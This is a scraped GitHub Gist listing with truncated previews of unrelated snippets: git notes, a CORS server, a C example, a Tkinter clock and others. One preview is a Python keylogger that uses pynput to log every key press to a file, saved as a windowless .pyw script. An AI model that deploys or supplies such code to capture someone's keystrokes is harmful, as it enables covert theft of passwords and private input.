Skip to content

Instantly share code, notes, and snippets.

@robertpainsi
robertpainsi / commit-message-guidelines.md
Last active April 22, 2024 16:05
Commit message guidelines

Commit Message Guidelines

Short (72 chars or less) summary

More detailed explanatory text. Wrap it to 72 characters. The blank
line separating the summary from the body is critical (unless you omit
the body entirely).

Write your commit message in the imperative: "Fix bug" and not "Fixed
bug" or "Fixes bug." This convention matches up with commit messages
@brentvollebregt
brentvollebregt / keylogger.pyw
Created April 11, 2017 02:48
A Python 3 keylogger using the pynput module
# From: https://github.com/moses-palmer/pynput
from pynput.keyboard import Key, Listener
import logging
log_dir = ""
logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='["%(asctime)s", %(message)s]')
def on_press(key):
logging.info('"{0}"'.format(key))
#!/bin/bash
clear
while true; do
read -p 'C:\>' cmd
case $cmd in
ver)
echo -e "\nMS-DOS Version 6.22\n\n" ;;
@juanpabloaj
juanpabloaj / func_pointers.c
Last active April 15, 2018 20:13
C: return function pointer
#include <assert.h>
int sum(int a, int b)
{
return a + b;
}
int multi(int a, int b)
{
return a * b;
@dsernst
dsernst / comparing-git-add-all.md
Last active January 25, 2024 17:00
Compare `git add .` vs `git add -A`

git add . vs git add -A

Both of these will stage all files, including new files (which git commit -a misses) and deleted files.

The difference is that git add -A also stages files in higher directories that still belong to the same git repository. Here's an example:

/my-repo
  .git/
 subfolder/
@moo3
moo3 / cors_server.py
Last active May 20, 2018 05:25 — forked from enjalot/cors_server.py
Allow CORS with python simple http server
import SimpleHTTPServer
class CORSHTTPRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
def send_head(self):
"""Common code for GET and HEAD commands.
This sends the response code and MIME headers.
Return value is either a file object (which has to be copied
to the outputfile by the caller unless the command was HEAD,
and must be closed by the caller under all circumstances), or
@mstijak
mstijak / zip.bat
Last active January 12, 2020 20:02
7z update archive + remove deleted files
7z u Scripts.zip Scripts\*.sql -uq0
@cgcardona
cgcardona / gist:772b5e040e26cb71a8d5
Last active April 3, 2024 20:51
Get the RGBa value for each pixel in an image via <canvas>
$(document).ready(function (){
// Get the image and canvas nodes
var img = $('#original_image')[0];
var canvas = $('#original_canvas')[0];
// confirm that the image has loaded
img.addEventListener("load", function() {
// set the canvas dimensions
canvas.width = img.width;
canvas.height = img.height;
@hofmannsven
hofmannsven / README.md
Last active April 19, 2024 13:17
Git CLI Cheatsheet
@ramalho
ramalho / relogio.py
Last active April 17, 2022 22:21
Um relógio bem simples feito em Python com Tkinter. Vídeo de demonstração: http://www.youtube.com/watch?v=xCiPshN9nOs
#!/usr/bin/env python3
import tkinter
from time import strftime
def tic():
rel['text'] = strftime('%H:%M:%S')
def tac():
tic()
rel.after(1000, tac)